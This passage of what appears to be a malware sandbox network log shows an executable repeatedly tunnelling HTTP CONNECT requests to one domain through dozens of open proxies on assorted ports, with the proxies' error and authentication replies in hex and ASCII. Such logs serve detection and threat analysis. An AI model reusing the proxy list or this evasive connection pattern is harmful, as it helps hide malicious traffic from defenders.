Mar 11, 2024 15:21:10.700578928 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.700783014 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:16.700675011 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:20.794143915 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:24.887825012 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:26.981517076 CET	536	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 14:21:26 GMT Server: Apache Content-Length: 534 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 68 65 6c 70 40 67 65 6e 69 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at help@geninetworks.com to inform them of the time this

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1438	192.168.2.9	54715	52.35.240.119	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.954824924 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.147829056 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 14:21:09 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1439	192.168.2.9	54550	120.37.121.209	9091	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.954971075 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.322021008 CET	325	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.1 Date: Mon, 11 Mar 2024 14:20:59 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1440	192.168.2.9	54661	3.123.150.192	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.955926895 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.260780096 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 14:21:09 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1441	192.168.2.9	54605	95.66.138.21	8880	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.960402012 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1442	192.168.2.9	54685	45.81.232.17	23363	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.965534925 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.700278044 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.700488091 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.700546980 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:16.365541935 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:19.997155905 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:23.700316906 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:31.091001034 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:45.559499979 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1443	192.168.2.9	54511	110.77.171.70	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.966867924 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:22.625169992 CET	561	IN	HTTP/1.1 400 Bad Request Server: Alcatel ONT Content-Type: text/html; charset=utf-8 Date: Mon, 11 Mar 2024 14:21:22 GMT Last-Modified: Mon, 11 Mar 2024 14:21:22 GMT Accept-Ranges: bytes Connection: close Cache-Control: no-cache,no-store Data Raw: 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 63 63 39 39 39 39 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 20 4c 49 4e 4b 3d 22 23 32 30 32 30 66 66 22 20 56 4c 49 4e 4b 3d 22 23 34 30 34 30 63 63 22 3e 0a 3c 48 32 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 32 3e 0a 59 6f 75 72 20 72 65 71 75 65 73 74 20 68 61 73 20 62 61 64 20 73 79 6e 74 61 78 20 6f 72 20 69 73 20 69 6e 68 65 72 65 6e 74 6c 79 20 69 6d 70 6f 73 73 69 62 6c 65 20 74 6f 20 73 61 74 69 73 66 79 2e 0a 3c 48 52 3e 0a 3c 41 44 44 52 45 53 53 3e 3c 41 20 48 52 45 46 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 61 6c 63 61 74 65 6c 2d 73 62 65 6c 6c 2e 63 6f 6d 2e 63 6e 2f 22 3e 41 6c 63 61 74 65 6c 20 4f 4e 54 3c 2f 41 3e 3c 2f 41 44 44 52 45 53 53 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY BGCOLOR="#cc9999" TEXT="#000000" LINK="#2020ff" VLINK="#4040cc"><H2>400 Bad Request</H2>Your request has bad syntax or is inherently impossible to satisfy.<HR><ADDRESS><A HREF="http://www.alcatel-sbell.com.cn/">Alcatel ONT</A></ADDRESS></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1444	192.168.2.9	52814	209.13.96.165	39921	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.967034101 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1445	192.168.2.9	54515	20.219.177.85	3129	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.967437983 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.903363943 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:11.200577021 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1446	192.168.2.9	49796	202.144.134.150	5678	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.969654083 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1447	192.168.2.9	53783	171.244.140.160	31643	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.969841957 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.141128063 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:15.330378056 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1448	192.168.2.9	54788	104.16.207.86	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.970355988 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.125112057 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:09 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1449	192.168.2.9	54774	45.196.144.152	5432	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.971842051 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.192173004 CET	308	IN	HTTP/1.1 407 Proxy Authentication Required Server: FaaS v1.3-20220203-7fa38bd5af Date: Mon, 11 Mar 2024 14:21:09 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 65 Proxy-Authenticate: Basic realm="Proxy" Connection: close Data Raw: 48 54 54 50 20 61 75 74 68 6f 72 69 7a 61 74 69 6f 6e 20 65 72 72 6f 72 3a 20 69 70 20 61 75 74 68 20 66 61 69 6c 65 64 2c 20 6e 6f 20 63 72 65 64 65 6e 74 69 61 6c 73 20 70 72 6f 76 69 64 65 64 Data Ascii: HTTP authorization error: ip auth failed, no credentials provided

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1450	192.168.2.9	54791	172.67.182.107	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.972743988 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.127053976 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:09 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1451	192.168.2.9	54705	121.182.138.71	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.976708889 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.700087070 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1452	192.168.2.9	54093	163.172.171.22	16379	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.976715088 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.090993881 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:15.200961113 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:21.200427055 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:33.203269005 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:45.200010061 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:57.215667963 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:21.215590000 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:23:09.215497017 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1453	192.168.2.9	54643	103.242.119.88	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.976807117 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.366518021 CET	629	IN	HTTP/1.1 407 Proxy Authentication Required Date: Mon, 11 Mar 2024 14:21:09 GMT Server: Apache Proxy-Authenticate: Basic realm="Authorization" Content-Length: 415 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 76 65 72 69 66 79 20 74 68 61 74 20 79 6f 75 0a 61 72 65 20 61 75 74 68 6f 72 69 7a 65 64 20 74 6f 20 61 63 63 65 73 73 20 74 68 65 20 64 6f 63 75 6d 65 6e 74 0a 72 65 71 75 65 73 74 65 64 2e 20 20 45 69 74 68 65 72 20 79 6f 75 20 73 75 70 70 6c 69 65 64 20 74 68 65 20 77 72 6f 6e 67 0a 63 72 65 64 65 6e 74 69 61 6c 73 20 28 65 2e 67 2e 2c 20 62 61 64 20 70 61 73 73 77 6f 72 64 29 2c 20 6f 72 20 79 6f 75 72 0a 62 72 6f 77 73 65 72 20 64 6f 65 73 6e 27 74 20 75 6e 64 65 72 73 74 61 6e 64 20 68 6f 77 20 74 6f 20 73 75 70 70 6c 79 0a 74 68 65 20 63 72 65 64 65 6e 74 